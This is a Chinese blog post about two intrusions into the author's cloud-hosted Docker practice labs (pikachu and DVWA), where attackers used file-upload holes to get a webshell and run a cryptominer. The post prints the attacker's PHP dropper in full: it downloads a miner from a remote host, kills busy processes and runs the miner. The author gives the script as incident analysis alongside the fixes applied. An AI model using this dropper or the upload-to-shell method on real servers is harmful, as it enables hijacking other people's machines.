服务器被入侵记录二则
Posted 荒
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了服务器被入侵记录二则相关的知识,希望对你有一定的参考价值。
前言
之前闲着没事在阿里云用docker部署了三个老靶场,分别是sqli,dvwa,pikachu,方便他人使用学习
阿里云的警报
2021.6.10,阿里云给我发了一个短信提醒我疑似服务器被入侵,有挖矿行为
我想着难道是ssh爆破?难道之前安装的fail2ban服务失效了,上线一看,运行着,首先排除ssh爆破。
然后仔细回想了一下,也没有安装什么存在漏洞的版本的服务啊。
登陆了阿里云控制台,看到如下信息:
(上面的容器名是piakchu,是因为我重命名的时候打快了打错了,然后懒得命名回来了)
果然是靶场惹的祸,直接通过pikachu靶场文件上传漏洞getshell然后运行挖矿文件。
在我的固化思维里,docker容器与宿主机分离,还是相对安全的,你get了pikachu的shell也无所谓,之前也去了解过docker容器的逃逸,但是我的版本是没有逃逸的那个漏洞的,然后我就没有管它了。虽然不会被轻易渗透到宿主机,但是还是没想到会有人利用我的靶场来挖矿。
复现
为了弄清楚究竟是怎么一回事,随后去做了一个复现,这里用虚拟机做的:
docker拉的pikachu
通过pikachu的上传漏洞获取shell,上传的文件在宿主机以下目录:
/var/lib/docker/volumes/1fbe430ca6daba2068c719273fb0af52dd5b756b900b2957357bd3e0316cfe57/_data/vul/unsafeupload/uploads
通过蚁剑连接
ll查看权限(我的虚拟机是有icey这个普通用户的):
-rw-r--r--. 1 icey ftp 53 Jun 14 16:30 aa.php
-rwxr-xr-x. 1 icey ftp 19 Jun 14 16:37 sillage.sh
再ll
查看uploads目录的权限,是有执行权限的
执行whoami,为www-data,只有对/var/www目录的管理权:
可以运行一些脚本,但无法逸出容器对宿主机实行攻击(或许是我功力不够,有兴趣的读者可以自行折腾)
随后将uploads目录的执行权限去掉,通过蚁剑仍然能连接,但是已经无法执行脚本了
阿里云的警报又来了
2021.6.21,这天又收到了警报,有了之前的经验,也在我意料之中了
直接top命令查看,占用cpu资源最高的那个进程名tomcat就是挖矿程序,文件名是tomcat
几乎不用想,我就知道来自dvwa靶场的文件上传,被人getshell,然后运行了挖矿文件
我直接停掉了dvwa靶场,top再查看,tomcat进程也跟着没了
随后一波操作来到了dvwa靶场的上传目录:
[root@iZhp3661jqu8od84z9g4f8Z 08c916061cde7dbcbcb5b215d45e76e9ec3ed3cad8987ebbe519f0f8a8a8d34a]# find / -name tomcat
/etc/selinux/targeted/active/modules/100/tomcat
/var/lib/docker/overlay2/4fb773a023fedfefad7d586d7c118fb1468f109d4b4c531b46f475a608f553d8/diff/app/hackable/uploads/tomcat
与之前不同的是,这里不仅有tomcat挖矿文件,还有一个d.php,和config.json的文件
d.php内容如下:
<?php
file_put_contents("tomcat", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/tomcat"));
file_put_contents("config.json", file_get_contents("http://XXXX.16:8088/public/controls/dhtmlx/skins/web/config.json"));
$x=system("ps axf -o \'pid %cpu\' | awk \'{if($2>=80) print $1}\'");
system("kill -9 ".$x);
system(\'ps -aux\');
system(\'chmod +x tomcat\');
system(\'./tomcat\');
system(\'rm -fr d.php\')
虽然没怎么学过php,但上面的命令还是能看懂大部分,最后一句是删除d.php,但是为什么没删除掉自身呢,我猜可能是括号后面少写了一个分号
里面留下了hacker的远程ip,来自中国河南,当时就来精神了,准备一波反*,第一步信息搜集,访问其web服务我就愣住了,这怎么看也不像是个私人的云服务器。这可能是个。。。
然后就关电脑睡觉了。
处理
最后呢把dvwa和pikachu靶场做了处理,首先建立docker数据卷(docker volume create pikachu
),映射到相应容器(docker run -d -it --name=pikachu -p 9002:80 -v pikachu:/app area39/pikachu
),方便管理,其次对靶场的上传目录修改权限,去除执行权限(chmod -R a-x uploads
),我是直接生硬去除了所有用户的在该目录的执行权限,然后查看靶场,发现文件上传部分直接被搞废了,不能上传,提示权限有问题:
这样也好,省得他们是折腾了。
反思
不要有固化思维
文件的权限管理要精准把控,不给不法之人可乘之机
以上是关于服务器被入侵记录二则的主要内容,如果未能解决你的问题,请参考以下文章
智能手机 GPS 的可靠性如何?它可以被黑客入侵吗? [关闭]